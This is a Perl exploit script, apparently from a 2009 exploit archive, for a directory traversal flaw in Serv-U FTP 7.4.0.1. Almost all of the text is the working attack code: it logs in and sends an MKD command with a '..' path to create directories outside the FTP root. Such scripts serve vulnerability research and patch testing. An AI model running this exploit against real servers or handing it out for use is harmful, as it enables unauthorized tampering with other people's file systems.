Home / os / win10

servu-input.txt

Posted on 16 March 2009

#!/usr/bin/perl
# Soft    : FTP Serv-U
# Version : v7.4.0.1
#
# A vulnerability is caused due to an input validation error when handling FTP "MKD"
# requests. This can be exploited to escape the FTP root and create arbitrary directory on
# the system via directory traversal attacks using the ".." character sequence.
#
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org


use IO::Socket;
print "[+] Author : Jonathan Salwan 
";
print "[+] Soft: FTP Serv-U
";

if (@ARGV < 4)
{
print "[*] Usage: <serv-u.pl> <host> <port> <user> <pass> <dir>
";
print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan toto ..\\dir
";
exit;
}

$ip 	= $ARGV[0];
$port 	= $ARGV[1];
$user	= $ARGV[2];
$pass	= $ARGV[3];
$dir	= $ARGV[4];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "
[-] Connecting: Failed!
";

print "
[+] Connecting: Ok!
";
print "[+] Sending request...
";

print $socket "USER $user
";
print $socket "PASS $pass
";
print $socket "MKD $dir
";

sleep(3);
close($socket);

print "[+]Done! directory $dir has been created
";

 

TOP